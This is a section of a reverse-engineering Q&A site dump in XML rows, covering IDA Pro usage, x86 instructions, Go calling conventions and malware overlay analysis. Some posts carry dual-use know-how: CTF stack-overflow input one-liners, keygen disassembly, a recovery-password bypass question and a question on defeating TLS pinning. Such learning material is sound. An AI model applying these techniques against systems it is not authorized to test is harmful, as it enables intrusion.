  <row Id="18283" PostTypeId="2" ParentId="18274" CreationDate="2018-05-16T08:24:12.943" Score="0" Body="&lt;p&gt;Names with loc_ prefix are generated in case IDA thinks that it's code at that address. So now IDA thinks that theres' code at 2043B90 and at 100010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should go to 2043B90 (in the disassembly view), undefine the code piece which IDA create and create a data structure there, then specify the type information (Y key) that it's an array like &quot;int myarray[300]&quot;. This is just an example, you need to determine the type of the data yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for loc_100010, you should also go to the address 100010 undefine the code there and create a string, if you think that there's a literal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press F5 in you function again to renew the decompiler output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. IDA might want to keep the loc_ names even after you undefine the code piece, so you'll need to delete this loc_ name in order to make IDA generate the new one.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2018-05-22T08:11:49.963" LastActivityDate="2018-05-22T08:11:49.963" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18284" PostTypeId="2" ParentId="18267" CreationDate="2018-05-16T08:43:17.320" Score="3" Body="&lt;p&gt;IDA 7.0 is x64 application, i.e. both ida.exe and ida64.exe are built for x64, despite the naming. So you won't be able to run 7.0 on x86 at all. Use IDA versions previous to 7.0.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-16T08:43:17.320" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18286" PostTypeId="1" AcceptedAnswerId="18287" CreationDate="2018-05-16T14:12:34.347" Score="0" ViewCount="1612" Body="&lt;p&gt;I am attempting to reverse engineer the DYMO Connect app in order to learn how to print to a DYMO LabelWriter Wireless printer. However, the mobile driver for the printer is in several different formats: id0, id1, nam, so, and til. Is there any way that I can open any one of these files so that I can see what code they wrote for the driver? I have searched about this question a lot, but the answers are not very helpful.&lt;/p&gt;&#xA;" OwnerUserId="24409" LastActivityDate="2018-05-16T14:58:21.667" Title="How can I open id0, id1, nam, so, or til files?" Tags="|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18287" PostTypeId="2" ParentId="18286" CreationDate="2018-05-16T14:58:21.667" Score="2" Body="&lt;p&gt;id0, id1, nam and til files - are the temporary files which IDA creates when you load your binary into it. And after you close IDA, choosing to save the disassembly result, it's going to delete those files and save idb file instead. Idb - is a binary file where IDA stores disassembly information, so you need to open it with IDA in order to see what's inside. Since the only extension left is .so, I suppose that was the extension of the driver. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-16T14:58:21.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18288" PostTypeId="1" CreationDate="2018-05-16T14:59:06.067" Score="2" ViewCount="150" Body="&lt;p&gt;I'm attempting to use a legacy systems recovery feature that typically required calling/faxing a company that is no longer around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the system was designed to go into a recovery mode and it provided a 4 character code that was provided over phone/fax to the software company and they would provide you with what looks like a HEX code to gain access to the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been playing around with my limited knowledge on the subject for a little while now and have made zero progress. The system does run on a local server so maybe there are some decompilers or other processes that can be recommended? (Tomcat Based Webserver)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Username is Administrator, below are 4 records from previous resets. Looks like MD4  or MD5 Hash to me.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Recover Code - Recovery Password&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;C969 - CF45FE53C10C541D831BB00A88C2497E &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;H924 - 4A90846DBA0DC78EFEC6FAB389D4DD97 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;B939 - D960D76B1BA23E1AC872A289CB1DD15D &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I996 - 0DF5117F8731CE4C4C65D383C77BD97E&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The other details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows XP &quot;Server&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full file system administrative access&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL &lt;a href=&quot;http://localhost/recoverymode=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/recoverymode=true&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21244" LastEditorUserId="21244" LastEditDate="2018-05-17T21:40:29.907" LastActivityDate="2018-05-19T18:09:38.253" Title="How can I generate the recovery password on a legacy system (Original company is out of business) running on my local machine?" Tags="|encryption|java|encodings|strings|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18289" PostTypeId="1" AcceptedAnswerId="18298" CreationDate="2018-05-16T15:25:29.137" Score="3" ViewCount="536" Body="&lt;p&gt;I have an obfuscated java binary which does runtime code injection using java reflection like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Object o = &quot;a long string&quot;;&#xA;((Method)o).invoke(params..);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If I write this in a java file, it would compile fine, but I have to edit the disassembly of the class file and remove checkcast instruction to make it run.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is disassemble/decompile the content of the long string as JVM bytecode. Since this is not a full class, but only a method, I can't get any of the available java reverse engineering tools to work with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now trying to inject this code into a separate class at runtime and then dump it out of memory. But I'm not sure if it's possible to do. even using a javaagent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other easy way to accomplish what I'm trying to do?&lt;/p&gt;&#xA;" OwnerUserId="24410" LastActivityDate="2018-05-17T00:23:36.790" Title="Disassemble/decompile arbitrary JVM bytecode" Tags="|disassembly|decompilation|java|byte-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18290" PostTypeId="1" AcceptedAnswerId="18292" CreationDate="2018-05-16T18:31:16.733" Score="1" ViewCount="3081" Body="&lt;pre&gt;&lt;code&gt;sar eax, 6&#xA;...&#xA;sar eax, 0x1f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This arithmetic shift operation confuses me. Understand that it's taking the value of &lt;code&gt;eax&lt;/code&gt; in hex then shifting it to the right by &lt;code&gt;6&lt;/code&gt; and the same for the next operation by &lt;code&gt;0x1f&lt;/code&gt;. See what the end result is, but still looking to better understand what's happening with these Shift Operations.&#xA;Say eax was &lt;code&gt;0x3338e3e0&lt;/code&gt;, how exactly does it get to &lt;code&gt;0x00cce38f&lt;/code&gt; step by step?&lt;/p&gt;&#xA;" OwnerUserId="24178" LastEditorUserId="18014" LastEditDate="2018-05-16T21:59:17.947" LastActivityDate="2018-05-16T21:59:17.947" Title="SAR Instruction" Tags="|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18291" PostTypeId="1" AcceptedAnswerId="18293" CreationDate="2018-05-16T18:37:53.967" Score="2" ViewCount="5308" Body="&lt;p&gt;I've a binary (openend in IDA v7) that uses GUID variables to manipulate something. Whenever I see any variable with GUID data type there always be a &lt;code&gt;_mm_store_si128()&lt;/code&gt; or &lt;code&gt;_mm_storeu_si128()&lt;/code&gt; functions. I've seen the definitions in &lt;a href=&quot;https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_store_si128&amp;amp;expand=5186&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Intrinsics Guide&lt;/a&gt;. But the article shows that those functions only stores 128-bits of integer data from a variable into memory. The full subroutine is lengthy so I add a small section. Here is an example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4SzCE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4SzCE.png&quot; alt=&quot;_mm_store_si128&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( RtlGUIDFromString(&amp;amp;GuidString, Guid) &amp;gt;= 0 )&#xA;    {&#xA;      _mm_store_si128(&amp;amp;v18, v10);&#xA;      v18.m128i_i64[1] -= v11;&#xA;      v18.m128i_i64[0] = v10.m128i_i64[0] + 2 * v11;&#xA;      _mm_store_si128((__m128i *)&amp;amp;GuidString, v18);&#xA;      sub_140010DC0(&amp;amp;v18, (__m128i *)&amp;amp;GuidString);&#xA;      v10 = v18;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my questions are: Does those functions only copy 128bit data? Is it same as &lt;code&gt;memcpy()&lt;/code&gt; or &lt;code&gt;memmove()&lt;/code&gt;? If yes then why not IDA shows those functions (later ones)? Are there any hidden deep relation between &lt;code&gt;_mm_store_si128&lt;/code&gt; and CPU instructions? &lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-05-16T19:38:25.250" Title="What does _mm_store_si128() actually do?" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18292" PostTypeId="2" ParentId="18290" CreationDate="2018-05-16T19:18:18.757" Score="2" Body="&lt;p&gt;It's easier to see what's going on if you work in binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x3338e3e0 is 0b00110011001110001110001111100000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shifting this right by 6 bits (i.e. removing the last 6 bits and adding 6 zeros at the start) gives -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0b00000000110011001110001110001111&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, turning this back into hex gives the value in your question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0b 0000 0000 1100 1100 1110 0011 1000 1111 = 0x00CCE38F&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-05-16T19:18:18.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18293" PostTypeId="2" ParentId="18291" CreationDate="2018-05-16T19:38:25.250" Score="2" Body="&lt;p&gt;1) The &lt;code&gt;_mm_store_si128&lt;/code&gt; intrinsic indeed stores 128-bits to memory.  128-bits is 16 bytes which is exactly the size of a GUID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The difference between &lt;code&gt;_mm_store_si128&lt;/code&gt; and &lt;code&gt;memcpy/memmove&lt;/code&gt; is that whilst both take a pointer to the destination address in memory, the intrinsic takes a value as the source and &lt;code&gt;memcpy/memmove&lt;/code&gt; take a pointer to a source in memory. See the function prototypes -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void _mm_store_si128 (__m128i* mem_addr, __m128i a);&#xA;void * memcpy ( void * destination, const void * source, size_t num );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) It's not really a hidden deep relationship.  In most cases the intrinsics have a 1-1 relationship with CPU instructions.  These are documented in Volume 2 of the &lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sdm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel 64 and IA-32 Architectures Software Developer Manuals&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_mm_store_si128  &amp;lt;=&amp;gt; MOVDQA with a memory destination&#xA;_mm_storeu_si128 &amp;lt;=&amp;gt; MOVDQU with a memory destination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-05-16T19:38:25.250" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18294" PostTypeId="2" ParentId="18290" CreationDate="2018-05-16T21:06:24.917" Score="0" Body="&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python -c &quot;print \&quot;{0:8X}={0:b}\n{1:8X}={1:b}\&quot;.format(0x3338e3e0,0x3338e3e0&amp;gt;&amp;gt;6)&quot;&#xA;3338E3E0=110011001110001110001111100000&#xA;  CCE38F=110011001110001110001111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-16T21:06:24.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18295" PostTypeId="1" AcceptedAnswerId="18309" CreationDate="2018-05-16T22:26:59.740" Score="3" ViewCount="10985" Body="&lt;p&gt;I'm working on a CTF challenge that is an introduction to smashing the stack. I have the binary working in GDB, and can overwrite the correct part of the stack with printable characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge, however, is that the binary expects 0xdeadbeef in the correct stack location - and I'm a bit stumped on how to input that value. I've seen examples online where python is used to supply hex values as the argument to the binary - but this particular binary runs, prints a query message, THEN expects input, instead of just reading an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to handle this, initially in GDB to confirm my approach, and then using NC to receive the actual flag? I'm working on Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for asking a basic question, but this has been tripping me up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-09-18T08:04:28.020" Title="Basic question: how to input non-printable hex values in GDB / NC?" Tags="|gdb|hex|" AnswerCount="1" CommentCount="2" ClosedDate="2018-09-18T13:51:52.947" ContentLicense="CC BY-SA 4.0" />
  <row Id="18296" PostTypeId="1" CreationDate="2018-05-16T22:42:39.890" Score="0" ViewCount="122" Body="&lt;p&gt;I’m reviewing a malware sample that stores an encrypted PE file in its overlay. I’m attempting to identify in IDA pieces of x86 that may be responsible for accessing the overlay and performing the decryption routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt was identifying uses and locations in the x86 for &lt;code&gt;VirtualAlloc&lt;/code&gt; as I know memory will need to be allocated to perform the decryption. Is there anything else I should look for at the x86 level for code that will attempt to access this PE overlay?&lt;/p&gt;&#xA;" OwnerUserId="23350" LastEditorUserId="4658" LastEditDate="2018-05-17T01:31:26.743" LastActivityDate="2018-05-17T02:31:27.723" Title="Identifying code that accesses encrypted overlay in PE" Tags="|x86|malware|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18298" PostTypeId="2" ParentId="18289" CreationDate="2018-05-17T00:23:36.790" Score="0" Body="&lt;p&gt;It doesn't make sense to talk about the &quot;bytecode for only a method&quot;, because Java bytecode can't run in isolation. The instructions contain references to the constant pool, which is part of the classfile and shared between all methods in the class. The smallest executable unit of bytecode is the classfile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question as written doesn't make sense, but if you post the actual data you are dealing with, perhaps we can figure out what is going on.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-05-17T00:23:36.790" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18299" PostTypeId="2" ParentId="18296" CreationDate="2018-05-17T02:31:27.723" Score="2" Body="&lt;p&gt;I'd look for crypto code or API calls like &lt;code&gt;GetModuleFileName&lt;/code&gt; and &lt;code&gt;CreateFile(GENERIC_READ,....)&lt;/code&gt; because overlays aren't mapped into memory if I remember correctly. Therefore the malware has to open its own file on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then would need to parse the PE structure to find the end-of-image, unless the overlay has some kind of start/end marker, so looking for the constant 0x3C (&lt;code&gt;e_lfanew&lt;/code&gt; in DOS header) or 'EP' or 'ZM' (reversed &lt;code&gt;MZ&lt;/code&gt; and &lt;code&gt;PE&lt;/code&gt; due to endianness) might locate such code.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-17T02:31:27.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18300" PostTypeId="1" AcceptedAnswerId="18539" CreationDate="2018-05-17T02:57:26.490" Score="2" ViewCount="2508" Body="&lt;p&gt;I am currently using IDA to disassemble a keygen. In the first few lines of a specific function before the &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt; registers are given a value, their contents are moved to stack variables &lt;code&gt;var_40&lt;/code&gt; and &lt;code&gt;var_44&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's said function's initial assembly listing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_44= dword ptr -44h&#xA;var_40= dword ptr -40h&#xA;&#xA;push    ebp&#xA;mov     ebp, esp&#xA;add     esp, 0FFFFFFA8h&#xA;push    esi&#xA;push    edi&#xA;mov     [ebp+var_44], edx&#xA;mov     [ebp+var_40], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to know what are the values of &lt;code&gt;EAX&lt;/code&gt; and &lt;code&gt;EDX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they default to 0 since they weren't previously used and this is just an initialization of the local variable?&#xA;There are other stack variables that IDA declared, I only mentioned &lt;code&gt;var_40&lt;/code&gt; and &lt;code&gt;var_44&lt;/code&gt; since they are the ones I had trouble understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24416" LastEditorUserId="2147" LastEditDate="2018-06-16T23:24:14.810" LastActivityDate="2018-06-16T23:24:14.810" Title="Confused about the value of edx and eax registers used at function entry" Tags="|ida|register|calling-conventions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18301" PostTypeId="1" CreationDate="2018-05-17T03:54:34.610" Score="1" ViewCount="762" Body="&lt;p&gt;I'm working on reverse engineering an Android application where the native code opens TLS connections using a built-in copy of mbedtls with certificate pinning. I'd like to decrypt that traffic and log it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would use LD_PRELOAD. In this case I cannot because mbedtls is embedded in the same dynamic library it is being called from, so traditional PLT/GOT hookers won't do.&lt;/p&gt;&#xA;" OwnerUserId="14204" LastActivityDate="2018-05-17T03:54:34.610" Title="Hook function in Linux SO file" Tags="|dynamic-analysis|function-hooking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18302" PostTypeId="2" ParentId="18300" CreationDate="2018-05-17T10:22:51.127" Score="0" Body="&lt;p&gt;Check what the values of edx and eax are prior to the function call. Since these registers aren’t cleared prior to being moved into the variables their existing values are probably just used and transferred into the local variables.&lt;/p&gt;&#xA;" OwnerUserId="23350" LastActivityDate="2018-05-17T10:22:51.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18304" PostTypeId="1" CreationDate="2018-05-17T13:55:01.053" Score="1" ViewCount="259" Body="&lt;p&gt;Internet Explorer allows for creating thick clients that run in the browser via a &lt;a href=&quot;https://en.wikipedia.org/wiki/Browser_Helper_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;Browser Helper Object (BHO)&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In trying to reverse one such thick client I noticed that the website downloads about fifteen DLL files making it difficult to discern where the entry point is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the files were written in .NET they were (mostly) decompiled by using &lt;a href=&quot;https://www.jetbrains.com/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;dotPeek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some steps that can be taken to help narrow down the entry point - and possibly to debug certain actions? Also, is there another tool that would prove more useful in decompiling .NET dll's?&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-05-17T13:55:01.053" Title="Reverse engineering IE thick client" Tags="|debugging|decompilation|dll|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18305" PostTypeId="1" AcceptedAnswerId="18346" CreationDate="2018-05-17T21:05:35.093" Score="5" ViewCount="1659" Body="&lt;p&gt;tl;dr: I am reversing a GoLang 1.10 executable, compiled for Windows. I am trying to make IDA correctly recognize the calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details: I am looking at an x86 executable where the following (nonstandard) calling convention is used. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;caller creates space on the stack for possibly multiple return values, i.e. subtracts &lt;code&gt;4*return_count&lt;/code&gt; from &lt;code&gt;ESP&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;caller pushes arguments to callee to the stack, calls callee&lt;/li&gt;&#xA;&lt;li&gt;callee creates a stack frame for local variables&lt;/li&gt;&#xA;&lt;li&gt;callee does work&lt;/li&gt;&#xA;&lt;li&gt;callee restores &lt;code&gt;ESP&lt;/code&gt; to be the same as before step 3&lt;/li&gt;&#xA;&lt;li&gt;callee stores return values on the stack below its arguments&lt;/li&gt;&#xA;&lt;li&gt;call returns&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The caller now has the return values and the arguments still in the local stack frame, the latter on top of the former, and cleans up. This is a GoLang 1.10 executable, but I am describing the calling convention that I am seeing here, I do not know any reference for this. If something about the GoLang calling convention in Windows compiled executables is known; I would be very interested in that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More to the point however, I am looking for a way to make IDA correctly understand this calling convention. As an example, consider the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; test proc near                   ; test receives two arguments&#xA;   sub     esp, 18h               ; create stack frame&#xA;   mov     eax, [esp+1Ch]         ; argument 1 to test:&#xA;   mov     [esp], eax             ;  moved to top of stack frame&#xA;   mov     eax, [esp+20h]         ; argument 2 to test:&#xA;   mov     [esp+4], eax           ;  moved second to top of stack frame&#xA;   call    sub1                   ; call sub1(test_arg_1, test_arg_2)&#xA;   mov     eax, [esp+14h]         ; retrieve return_value_1&#xA;   mov     ecx, [esp+10h]         ; retrieve return_value_2&#xA;   mov     [esp], ecx           &#xA;   mov     [esp+4], eax&#xA;   call    sub2                   ; call sub2(return_value_1, return_value_2)&#xA;   movzx   eax, byte ptr [esp+8]  ; retrieve single return value&#xA;   xor     eax, 1                 ; negate result&#xA;   mov     [esp+24h], al          ; store result below arguments to test&#xA;   add     esp, 18h               ; close stack frame&#xA;   retn                           ; return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to give &lt;code&gt;sub1&lt;/code&gt; more parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub1(int, int, int, int, int, int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But unfortunately, it is not reflected in the decompiled code that the last two &quot;arguments&quot; to this function are actually return values which are being passed on to &lt;code&gt;sub2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl test(int a1, int a2)&#xA;{&#xA;  int v2; // ST10_4&#xA;  int v3; // ST14_4&#xA;  unsigned __int8 v4; // ST08_1&#xA;  int esp_08; // [esp+8h] [ebp-10h]&#xA;  int esp_0C; // [esp+Ch] [ebp-Ch]&#xA;  int esp_10; // [esp+10h] [ebp-8h]&#xA;  int esp_14; // [esp+14h] [ebp-4h]&#xA;  void *retaddr; // [esp+18h] [ebp+0h]&#xA;&#xA;  sub1(a1, a2, esp_08, esp_0C, esp_10, esp_14);&#xA;  sub2(v2, v3);&#xA;  return v4 ^ 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an attempt to make use of &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1492.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this advanced calling convention syntax&lt;/a&gt;, I also created a structure containing two 32 bit integer fields and declared &lt;code&gt;sub1&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struc_1 __usercall sub1@&amp;lt;0:^8.4,4:^12.4&amp;gt;(int, int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried several variations of this, different offsets, also returning only a native type, but IDA 7.1 always crashed with the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Oops! internal error 1004 occurred. Further work is not possible and IDA will close.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any good way or workaround to make IDA recognize this calling convention and accurately reflect it in the decompiled code?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reproduce MWE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To produce the above example, you can use the following &lt;code&gt;test.go&lt;/code&gt; source file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package main&#xA;import &quot;os&quot;&#xA;&#xA;func sub2(x int, y int) bool { return x == y }&#xA;func sub1(x int, y int) (int, int) { return y,x }&#xA;func test(x int, y int) bool { return ! sub2(sub1(x,y)) }&#xA;&#xA;func main() {&#xA;  test(1,2)&#xA;  os.Exit(0)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can compile it as follows (disabling optimization is important):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set GOARCH=386&#xA;go build -gcflags=-N -gcflags=-l test.go&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA, the test function should be automatically renamed to &lt;code&gt;main_test&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23944" LastEditorUserId="23944" LastEditDate="2018-05-22T10:41:23.593" LastActivityDate="2018-05-24T09:38:34.503" Title="How to specify stack-based return values in IDA Pro (GoLang)" Tags="|ida|x86|calling-conventions|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18307" PostTypeId="2" ParentId="17608" CreationDate="2018-05-18T09:11:35.393" Score="1" Body="&lt;p&gt;According to IDA's ELF-loader and some tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of sections in &lt;strong&gt;REL-file&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;COMMON &lt;/li&gt;&#xA;&lt;li&gt;ABS&lt;/li&gt;&#xA;&lt;li&gt;EXTERN&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The order of sections in &lt;strong&gt;EXEC-file&lt;/strong&gt; (there is no COMMON section):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;EXTERN &lt;/li&gt;&#xA;&lt;li&gt;ABS&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;rules of section creation&lt;/strong&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take the adress after last real section&lt;/li&gt;&#xA;&lt;li&gt;Calculate the size of each virtual section = &lt;code&gt;number_of_symbols * 4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create all needed virtual sections according to the right order&lt;/li&gt;&#xA;&lt;li&gt;Fill all virtual sections with the corresponding symbols from symtab&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;End&lt;/em&gt;-address for each virtual section according to the real number of bytes (based on number of symbols in the section)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2018-05-18T09:11:35.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18309" PostTypeId="2" ParentId="18295" CreationDate="2018-05-18T14:16:07.040" Score="4" Body="&lt;p&gt;Well, you have several options to do so. These are the two simplest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supplying the input through the pipeline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python -c &quot;print '\xde\xad\xbe\xef'&quot; | ./binary&#xA;$ python -c &quot;print 0xdeadbeef&quot; | ./binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Supplying the input from within GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print '\xde\xad\xbe\xef'&quot;)&#xA;(gdb) r &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print 0xdeadbeef&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-09-18T08:04:28.020" LastActivityDate="2018-09-18T08:04:28.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
